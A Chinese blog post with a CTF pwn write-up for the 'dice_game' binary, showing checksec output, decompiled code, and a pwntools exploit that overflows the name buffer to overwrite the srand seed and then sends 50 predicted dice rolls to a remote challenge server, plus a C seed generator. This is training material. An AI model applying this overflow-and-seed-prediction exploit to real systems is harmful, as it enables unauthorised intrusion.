

pwn-dice_game

原创

bufsnake 于 2019-08-05 15:20:16 发布 105 收藏 1

分类专栏: [CTF PWN](#) 文章标签: [dice_game](#) [pwn](#) [writeup](#) [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_40640243/article/details/98486863

版权



CTF 同时被 2 个专栏收录

3 篇文章 0 订阅

订阅专栏



PWN

2 篇文章 0 订阅

订阅专栏

checksec

```
snakedice_games:checksec dice_game
[*] '/root/dice_games/dice_game'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
snakedice_games: https://blog.csdn.net/qq_40640243
```

ida

```
Library function Regular function Instruction Data Unexplored External symbol
Functions window
Function name
_init_proc .ini
puts .pl
printf .pl
__assert_fail .pl
read .pl
__libc_start_main .pl
srand .pl
fgets .pl
__gmon_start__ .pl
time .pl
fflush .pl
fopen .pl
__isoc99_scanf .pl
__cxa_finalize .pl
rand .pl
start .te
sub_920 .te
sub_9B0 .te
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     char buf[55]; // [rsp+0h] [rbp-50h]
4     char v5; // [rsp+37h] [rbp-19h]
5     ssize_t v6; // [rsp+38h] [rbp-18h]
6     unsigned int seed[2]; // [rsp+40h] [rbp-10h]
7     unsigned int v8; // [rsp+4Ch] [rbp-4h]
8
9     memset(buf, 0, 0x30uLL);
10    *seed = time(0LL);
11    printf("Welcome, let me know your name: ", a2);
12    fflush(stdout);
13    v6 = read(0, buf, 0x50uLL);
14    if ( v6 <= 1 )
15        buf[v6 - 1] = 0;
16    printf("Hi, %s. Let's play a game.\n", buf);
17    fflush(stdout);
18    srand(seed[0]);
19    v8 = 1;
20    v5 = 0;
21    while ( 1 )
```

```

sub_9F0      .te 22 {
sub_A20      .te 23   printf("Game %d/50\n", v8);
sub_B28      .te 24   v5 = sub_A20();
main         .te 25   fflush(stdout);
             .te 26   if ( v5 != 1 )
             .te 27     break;
             .te 28   if ( v8 == 50 )
             .fir 29     {
             .ex 30     sub_B28(buf);
             .ex 31     break;
             .ex 32     }
             .ex 33     ++v8;
             .ex 34     }
             .ex 35   puts("Bye bye!");
             .ex 36   return 0LL;
             .ex 37 }

```

Line 22 of 39

Graph overview

https://blog.csdn.net/qq_40640243

```

1 signed __int64 sub_A20()
2 {
3   signed __int64 result; // rax
4   __int16 v1; // [rsp+Ch] [rbp-4h]
5   __int16 v2; // [rsp+Eh] [rbp-2h]
6
7   printf("Give me the point(1-6): ");
8   fflush(stdout);
9   _isoc99_scanf("%hd", &v1);
10  if ( v1 > 0 && v1 <= 6 )
11  {
12    v2 = rand() % 6 + 1;
13    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
14      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
15    if ( v1 == v2 )
16    {
17      puts("You win.");
18      result = 1LL;
19    }
20    else
21    {
22      puts("You lost.");
23      result = 0LL;
24    }
25  }
26  else
27  {
28    puts("Invalid value!");
29    result = 0LL;
30  }
31  return result;
32 }

```

https://blog.csdn.net/qq_40640243

```

1 int __fastcall sub_B28(__int64 a1)
2 {
3   char s; // [rsp+10h] [rbp-70h]
4   FILE *stream; // [rsp+78h] [rbp-8h]
5
6   printf("Congrats %s\n", a1);
7   stream = fopen("flag", "r");
8   fgets(&s, 100, stream);
9   puts(&s);
10  return fflush(stdout);
11 }

```

https://blog.csdn.net/qq_40640243

这就是典型的猜数字游戏，猜对了，v8加一，猜错了直接退出，猜对50次后直接获得flag

思路

输入name值得时候，益处修改seed的值，这样，rand()产生的随机数就是有规律的，我们可以通过自己的电脑生成随机数序列，输入到程序中就ok了

exp

```
from pwn import *

context(log_level='debug')
pro = remote("111.198.29.45",49881)

seed = [0x2,0x5,0x4,0x2,0x6,0x2,0x5,0x1,0x4,0x2,0x3,0x2,0x3,0x2,0x6,0x5,0x1,0x1,0x5,0x5,0x6,0x3,0x4,0x4,0x3,0x3,
0x3,0x2,0x2,0x2,0x6,0x1,0x1,0x1,0x6,0x4,0x2,0x5,0x2,0x5,0x4,0x4,0x6,0x3,0x2,0x3,0x3,0x6,0x1]

pro.readuntil("your name: ")
pro.sendline("a"*0x40+p64(1))

def sendl(seedd):
    pro.readuntil("point(1~6): ")
    pro.sendline(str(seed[seedd]))

for i in range(0,50):
    sendl(i)

pro.interactive()
```

小记

伪随机数生成代码

```
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

int main(){
    int i = 0;
    srand(1);
    for(i =0;i<60;i++){
        printf("%p,",rand()%6+1);
    }
    return 0;
}
```